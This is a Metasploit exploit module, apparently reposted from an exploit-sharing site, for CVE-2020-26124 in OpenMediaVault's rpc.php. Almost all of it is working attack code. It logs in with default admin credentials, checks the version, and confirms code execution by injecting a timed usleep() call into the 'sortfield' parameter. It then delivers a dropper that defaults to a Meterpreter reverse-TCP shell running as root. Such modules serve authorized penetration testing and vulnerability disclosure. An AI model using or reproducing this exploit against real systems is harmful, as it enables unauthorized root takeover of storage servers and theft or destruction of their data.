Share
## https://sploitus.com/exploit?id=PACKETSTORM:160223
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'OpenMediaVault rpc.php Authenticated PHP Code Injection',  
'Description' => %q{  
This module exploits an authenticated PHP code injection  
vulnerability found in openmediavault versions before 4.1.36  
and 5.x versions before 5.5.12 inclusive in the "sortfield"  
POST parameter of the rpc.php page, because "json_encode_safe()"  
is not used in config/databasebackend.inc.  
Successful exploitation grants attackers the ability to execute  
arbitrary commands on the underlying operating system as root.  
},  
'Author' => [  
'Anastasios Stasinopoulos' # @ancst of Obrela Labs Team - Discovery and Metasploit module  
],  
'References' => [  
['CVE', '2020-26124'],  
['URL', 'https://www.openmediavault.org/?p=2797']  
],  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Payload' => { 'BadChars' => "\x00" },  
'DisclosureDate' => 'Sep 28 2020',  
'Targets' =>  
[  
[  
'Automatic (Linux Dropper)',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },  
'Type' => :linux_dropper  
]  
],  
'Privileged' => false,  
'DefaultTarget' => 0  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault installation', '/']),  
OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault'])  
]  
)  
end  
  
def user  
datastore['USERNAME']  
end  
  
def pass  
datastore['PASSWORD']  
end  
  
def login(user, pass, _opts = {})  
print_status("#{peer} - Authenticating with OpenMediaVault using #{user}:#{pass}...")  
@uri = normalize_uri(target_uri.path, '/rpc.php')  
res = send_request_cgi({  
'uri' => @uri,  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => {  
"service": 'Session',  
"method": 'login',  
"params": {  
"username": user.to_s,  
"password": pass.to_s  
},  
"options": nil  
}.to_json  
})  
unless res  
# We return nil here, as callers should handle this case  
# specifically with their own unique error message.  
return nil  
end  
  
if res.code == 200 && res.body.scan('"authenticated":true,').flatten.first && res.get_cookies.scan(/X-OPENMEDIAVAULT-SESSIONID=(\w+);*/).flatten.first  
@cookie = res.get_cookies  
end  
return res  
rescue ::Rex::ConnectionError  
print_error('Rex::ConnectionError caught in login(), could not connect to the target.')  
return nil  
end  
  
def get_target  
print_status("#{peer} - Trying to detect if target is running a supported version of OpenMediaVault.")  
res = send_request_cgi({  
'uri' => @uri,  
'method' => 'POST',  
'cookie' => @cookie.to_s,  
'data' => {  
"service": 'System',  
"method": 'getInformation',  
"params": nil,  
"options": {  
"updatelastaccess": false  
}  
}.to_json  
})  
version = res.body.scan(/"version\":\"(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first  
if version.nil?  
print_error("#{peer} - Unable to grab version of OpenMediaVault installed on target!")  
return nil  
end  
print_good("#{peer} - Identified OpenMediaVault version #{version}.")  
version_gemmed = Gem::Version.new(version)  
if version_gemmed < Gem::Version.new('3.0.1')  
return version  
elsif version_gemmed >= Gem::Version.new('4.0.0') && version_gemmed < Gem::Version.new('4.1.36')  
return version  
elsif version_gemmed >= Gem::Version.new('5.0.0') && version_gemmed < Gem::Version.new('5.5.12')  
return version  
else  
return nil  
end  
  
return version  
end  
  
def execute_command(cmd, _opts = {})  
send_request_cgi({  
'uri' => @uri,  
'method' => 'POST',  
'cookie' => @cookie.to_s,  
'data' => {  
"service": 'LogFile',  
"method": 'getList',  
"params": {  
"id": 'apt_history',  
"start": 0,  
"limit": 50,  
"sortfield": "'.exec(\"#{cmd}\").'",  
"sortdir": 'DESC'  
},  
"options": nil  
}.to_json  
})  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, 'Rex::ConnectionError caught in execute_command(), could not connect to the target.')  
end  
  
def check  
res = login(user, pass)  
unless res  
return CheckCode::Unknown("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")  
end  
  
if @cookie.nil?  
return Exploit::CheckCode::Unknown("Failed to authenticate with OpenMediaVault on #{peer} using #{user}:#{pass}")  
end  
  
print_good("#{peer} - Successfully authenticated with OpenMediaVault using #{user}:#{pass}.")  
version = get_target  
if version.nil?  
# We don't print out an error message here as returning this will  
# automatically cause Metasploit to print out an appropriate error message.  
return CheckCode::Safe  
end  
  
delay = rand(7...15)  
cmd = "\").usleep(#{delay}0000).(\""  
print_status("#{peer} - Verifying remote code execution by attempting to execute 'usleep()'.")  
t1 = Time.now.to_i  
res = execute_command(cmd)  
t2 = Time.now.to_i  
unless res  
print_error("#{peer} - Connection failed whilst trying to perform the code injection.")  
return CheckCode::Detected  
end  
diff = t2 - t1  
if diff >= 3  
print_good("#{peer} - Response received after #{diff} seconds.")  
return CheckCode::Vulnerable  
end  
print_error("#{peer} - Response wasn't received within the expected period of time.")  
return CheckCode::Safe  
rescue ::Rex::ConnectionError  
print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")  
return CheckCode::Unknown  
end  
  
def exploit  
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")  
execute_cmdstager(linemax: 130_000)  
rescue ::Rex::ConnectionError  
print_error('Rex::ConnectionError caught in exploit(), could not connect to the target.')  
return false  
end  
  
end